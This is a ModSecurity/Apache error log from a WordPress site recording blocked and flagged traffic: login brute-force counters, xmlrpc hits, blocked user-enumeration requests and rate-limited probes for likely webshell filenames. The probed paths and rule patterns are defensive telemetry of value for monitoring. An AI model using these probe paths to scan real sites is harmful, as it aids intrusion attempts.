[Wed Mar 25 17:11:05.423525 2026] [:error] [pid 26449:tid 26472] [client 144.217.77.158:35072] [client 144.217.77.158] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.217.77.158, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acOmqdpZ2T15NDqzAjFi_wAAAlM"]
[Wed Mar 25 17:11:08.955791 2026] [:error] [pid 26449:tid 26470] [client 144.217.77.158:35072] [client 144.217.77.158] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.217.77.158, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acOmrNpZ2T15NDqzAjFjAwAAAlE"], referer: https://gigfragments.org/wp-login.php
[Wed Mar 25 17:13:09.077140 2026] [:error] [pid 47989:tid 48002] [client 37.142.36.187:58375] [client 37.142.36.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.142.36.187, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acOnJSWKdJMhIccROjmGJgAAAUs"]
[Wed Mar 25 17:19:42.065885 2026] [:error] [pid 25967:tid 25992] [client 122.180.249.48:50524] [client 122.180.249.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.180.249.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acOorvg8Qtq7ZM4mSFkengAAA1Q"]
[Wed Mar 25 17:31:44.909927 2026] [:error] [pid 47946:tid 47967] [client 122.180.249.48:58223] [client 122.180.249.48] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "acOrgDipQTqBMSeKYhd7ywAAARM"]
[Wed Mar 25 17:33:06.705529 2026] [:error] [pid 25967:tid 25989] [client 68.221.133.183:22902] [client 68.221.133.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/AAAA.php"] [unique_id "acOr0vg8Qtq7ZM4mSFkjgQAAA1E"]
[Wed Mar 25 17:33:07.206612 2026] [:error] [pid 25967:tid 25982] [client 68.221.133.183:23254] [client 68.221.133.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/AAAA.php"] [unique_id "acOr0_g8Qtq7ZM4mSFkjggAAA0o"]
[Wed Mar 25 17:33:07.683445 2026] [:error] [pid 25967:tid 25990] [client 68.221.133.183:22351] [client 68.221.133.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/AAAA.php"] [unique_id "acOr0_g8Qtq7ZM4mSFkjiAAAA1I"]
[Wed Mar 25 17:33:08.162510 2026] [:error] [pid 25967:tid 25979] [client 68.221.133.183:21958] [client 68.221.133.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/AAAA.php"] [unique_id "acOr1Pg8Qtq7ZM4mSFkjjAAAA0c"]
[Wed Mar 25 17:33:08.652654 2026] [:error] [pid 25967:tid 25990] [client 68.221.133.183:23200] [client 68.221.133.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fde.php"] [unique_id "acOr1Pg8Qtq7ZM4mSFkjjwAAA1I"]
[Wed Mar 25 17:33:09.130681 2026] [:error] [pid 25967:tid 25973] [client 68.221.133.183:21954] [client 68.221.133.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fde.php"] [unique_id "acOr1fg8Qtq7ZM4mSFkjkwAAA0E"]
[Wed Mar 25 17:33:09.634365 2026] [:error] [pid 47989:tid 47998] [client 68.221.133.183:22286] [client 68.221.133.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fde.php"] [unique_id "acOr1SWKdJMhIccROjmR6gAAAUc"]
[Wed Mar 25 17:33:10.296427 2026] [:error] [pid 47989:tid 48003] [client 68.221.133.183:22824] [client 68.221.133.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mjde.php"] [unique_id "acOr1iWKdJMhIccROjmR7AAAAUw"]
[Wed Mar 25 17:33:10.798460 2026] [:error] [pid 25875:tid 25901] [client 68.221.133.183:22278] [client 68.221.133.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gin.php"] [unique_id "acOr1hJ38QkS3NyfshzP7gAAApQ"]
[Wed Mar 25 17:33:11.280999 2026] [:error] [pid 25875:tid 25905] [client 68.221.133.183:22828] [client 68.221.133.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gin.php"] [unique_id "acOr1xJ38QkS3NyfshzP8AAAApg"]
[Wed Mar 25 17:33:11.763228 2026] [:error] [pid 25967:tid 25994] [client 68.221.133.183:23197] [client 68.221.133.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gin.php"] [unique_id "acOr1_g8Qtq7ZM4mSFkjlQAAA1Y"]
[Wed Mar 25 17:33:12.241216 2026] [:error] [pid 25967:tid 25976] [client 68.221.133.183:22864] [client 68.221.133.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gin.php"] [unique_id "acOr2Pg8Qtq7ZM4mSFkjmgAAA0Q"]
[Wed Mar 25 17:33:12.736061 2026] [:error] [pid 47989:tid 48009] [client 68.221.133.183:23273] [client 68.221.133.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ta.php"] [unique_id "acOr2CWKdJMhIccROjmR-AAAAVI"]
[Wed Mar 25 17:33:13.270125 2026] [:error] [pid 47946:tid 47959] [client 68.221.133.183:22904] [client 68.221.133.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ta.php"] [unique_id "acOr2TipQTqBMSeKYhd72QAAAQs"]
[Wed Mar 25 17:33:17.845548 2026] [:error] [pid 25967:tid 25994] [client 122.180.249.48:59275] [client 122.180.249.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.180.249.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acOr3fg8Qtq7ZM4mSFkjoAAAA1Y"]
[Wed Mar 25 17:34:47.448407 2026] [:error] [pid 25875:tid 25884] [client 122.180.249.48:60237] [client 122.180.249.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.180.249.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acOsNxJ38QkS3NyfshzQbwAAAoM"]
[Wed Mar 25 17:36:15.107972 2026] [:error] [pid 26269:tid 26282] [client 122.180.249.48:60789] [client 122.180.249.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.180.249.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acOsj0n7e-ZQbaIs7qyu_wAAAYY"]
[Wed Mar 25 17:37:36.454102 2026] [:error] [pid 25967:tid 25983] [client 122.180.249.48:61184] [client 122.180.249.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.180.249.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acOs4Pg8Qtq7ZM4mSFkk1AAAA0s"]
[Wed Mar 25 17:52:11.191077 2026] [:error] [pid 892:tid 922] [client 37.142.36.187:62390] [client 37.142.36.187] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "acOwSyT_G8WMU3T3yxrEEwAAANc"]
[Wed Mar 25 17:53:55.166425 2026] [:error] [pid 25967:tid 25989] [client 37.142.36.187:63607] [client 37.142.36.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.142.36.187, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acOws_g8Qtq7ZM4mSFkrDAAAA1E"]
[Wed Mar 25 17:55:26.050651 2026] [:error] [pid 47946:tid 47953] [client 37.142.36.187:62928] [client 37.142.36.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.142.36.187, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acOxDjipQTqBMSeKYhd9WQAAAQU"]
[Wed Mar 25 17:56:58.424058 2026] [:error] [pid 25967:tid 25996] [client 37.142.36.187:64172] [client 37.142.36.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.142.36.187, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acOxavg8Qtq7ZM4mSFkrwAAAA1g"]
[Wed Mar 25 17:58:23.434081 2026] [:error] [pid 25875:tid 25888] [client 37.142.36.187:65191] [client 37.142.36.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.142.36.187, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acOxvxJ38QkS3NyfshzYMwAAAoc"]
[Wed Mar 25 18:51:24.633138 2026] [:error] [pid 26321:tid 26357] [client 113.166.92.134:41274] [client 113.166.92.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 113.166.92.134, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acO-LPKO65qqGZCSPZo8MgAAAhA"]
[Wed Mar 25 18:51:26.566019 2026] [:error] [pid 26321:tid 26349] [client 113.166.92.134:41274] [client 113.166.92.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 113.166.92.134, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acO-LvKO65qqGZCSPZo8NgAAAgg"], referer: https://gigfragments.org/wp-login.php
[Wed Mar 25 19:52:38.852372 2026] [:error] [pid 25967:tid 25980] [client 192.185.2.253:16912] [client 192.185.2.253] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.185.2.253, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acPMhvg8Qtq7ZM4mSFlb1QAAA0g"]
[Wed Mar 25 19:52:41.174751 2026] [:error] [pid 25967:tid 25986] [client 192.185.2.253:16912] [client 192.185.2.253] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.185.2.253, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acPMifg8Qtq7ZM4mSFlb1gAAA04"], referer: https://gigfragments.org/wp-login.php
[Wed Mar 25 19:56:03.615225 2026] [:error] [pid 26321:tid 26352] [client 213.32.22.52:34542] [client 213.32.22.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.32.22.52, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acPNU_KO65qqGZCSPZpLBgAAAgs"]
[Wed Mar 25 19:56:05.708537 2026] [:error] [pid 26321:tid 26359] [client 213.32.22.52:34542] [client 213.32.22.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.32.22.52, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "acPNVfKO65qqGZCSPZpLEAAAAhI"], referer: https://gigfragments.org/wp-login.php
[Wed Mar 25 20:07:09.124226 2026] [:error] [pid 26321:tid 26344] [client 72.146.6.194:47695] [client 72.146.6.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fgd.php"] [unique_id "acPP7fKO65qqGZCSPZpNnAAAAgU"]
[Wed Mar 25 20:07:43.397829 2026] [:error] [pid 25875:tid 25903] [client 72.146.6.194:17044] [client 72.146.6.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mjde.php"] [unique_id "acPQDxJ38QkS3NyfshwFPwAAApY"]
[Wed Mar 25 20:07:43.900877 2026] [:error] [pid 26321:tid 26351] [client 72.146.6.194:32315] [client 72.146.6.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ta.php"] [unique_id "acPQD_KO65qqGZCSPZpN4QAAAgo"]
[Wed Mar 25 20:07:44.410439 2026] [:error] [pid 47989:tid 47995] [client 72.146.6.194:17036] [client 72.146.6.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dk.php"] [unique_id "acPQECWKdJMhIccROjnmYQAAAUQ"]
[Wed Mar 25 20:07:44.877003 2026] [:error] [pid 756:tid 864] [client 72.146.6.194:47939] [client 72.146.6.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dk.php"] [unique_id "acPQEDOaW6oylMIDBCQgUQAAAIw"]
[Wed Mar 25 20:07:45.344770 2026] [:error] [pid 26321:tid 26354] [client 72.146.6.194:59731] [client 72.146.6.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dk.php"] [unique_id "acPQEfKO65qqGZCSPZpN5AAAAg0"]
[Wed Mar 25 20:07:45.874036 2026] [:error] [pid 26269:tid 26298] [client 72.146.6.194:26691] [client 72.146.6.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dk.php"] [unique_id "acPQEUn7e-ZQbaIs7qy8JAAAAZY"]
[Wed Mar 25 20:25:38.633653 2026] [:error] [pid 47989:tid 47998] [client 51.103.250.122:60723] [client 51.103.250.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acPUQiWKdJMhIccROjnsBwAAAUc"]
[Wed Mar 25 20:25:39.107002 2026] [:error] [pid 25967:tid 25996] [client 51.103.250.122:54120] [client 51.103.250.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acPUQ_g8Qtq7ZM4mSFlkUQAAA1g"]
[Wed Mar 25 20:25:39.578407 2026] [:error] [pid 47989:tid 48002] [client 51.103.250.122:43813] [client 51.103.250.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acPUQyWKdJMhIccROjnsCwAAAUs"]
[Wed Mar 25 20:25:40.054930 2026] [:error] [pid 47989:tid 48007] [client 51.103.250.122:56946] [client 51.103.250.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acPURCWKdJMhIccROjnsDgAAAVA"]
[Wed Mar 25 20:40:35.326191 2026] [:error] [pid 47989:tid 47995] [client 49.51.204.74:43378] [client 49.51.204.74] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acPXwyWKdJMhIccROjnxXwAAAUQ"]
[Wed Mar 25 21:32:21.473058 2026] [:error] [pid 26449:tid 26461] [client 78.109.70.207:22168] [client 78.109.70.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.109.70.207, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "acPj5dpZ2T15NDqzAjGK0AAAAkg"]
[Wed Mar 25 21:33:45.998845 2026] [:error] [pid 25967:tid 25991] [client 4.223.157.191:65508] [client 4.223.157.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/AAAA.php"] [unique_id "acPkOfg8Qtq7ZM4mSFl0IAAAA1M"]
[Wed Mar 25 21:33:46.531127 2026] [:error] [pid 25875:tid 25885] [client 4.223.157.191:7159] [client 4.223.157.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/AAAA.php"] [unique_id "acPkOhJ38QkS3NyfshwrQAAAAoQ"]
[Wed Mar 25 21:33:47.091499 2026] [:error] [pid 26321:tid 26356] [client 4.223.157.191:46221] [client 4.223.157.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/AAAA.php"] [unique_id "acPkO_KO65qqGZCSPZpc9AAAAg8"]
[Wed Mar 25 21:33:47.749322 2026] [:error] [pid 26449:tid 26468] [client 4.223.157.191:46238] [client 4.223.157.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/AAAA.php"] [unique_id "acPkO9pZ2T15NDqzAjGLAQAAAk8"]
[Wed Mar 25 21:33:48.281793 2026] [:error] [pid 25967:tid 25980] [client 4.223.157.191:6669] [client 4.223.157.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fde.php"] [unique_id "acPkPPg8Qtq7ZM4mSFl0IwAAA0g"]
[Wed Mar 25 21:33:48.883756 2026] [:error] [pid 25875:tid 25898] [client 4.223.157.191:49095] [client 4.223.157.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bays.php"] [unique_id "acPkPBJ38QkS3NyfshwrRgAAApE"]
[Wed Mar 25 21:33:49.408140 2026] [:error] [pid 26321:tid 26363] [client 4.223.157.191:65489] [client 4.223.157.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bays.php"] [unique_id "acPkPfKO65qqGZCSPZpc9gAAAhY"]
[Wed Mar 25 21:33:49.932996 2026] [:error] [pid 25967:tid 25972] [client 4.223.157.191:6710] [client 4.223.157.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bays.php"] [unique_id "acPkPfg8Qtq7ZM4mSFl0JQAAA0A"]
[Wed Mar 25 21:33:50.531947 2026] [:error] [pid 25967:tid 25978] [client 4.223.157.191:6813] [client 4.223.157.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bays.php"] [unique_id "acPkPvg8Qtq7ZM4mSFl0KAAAA0Y"]
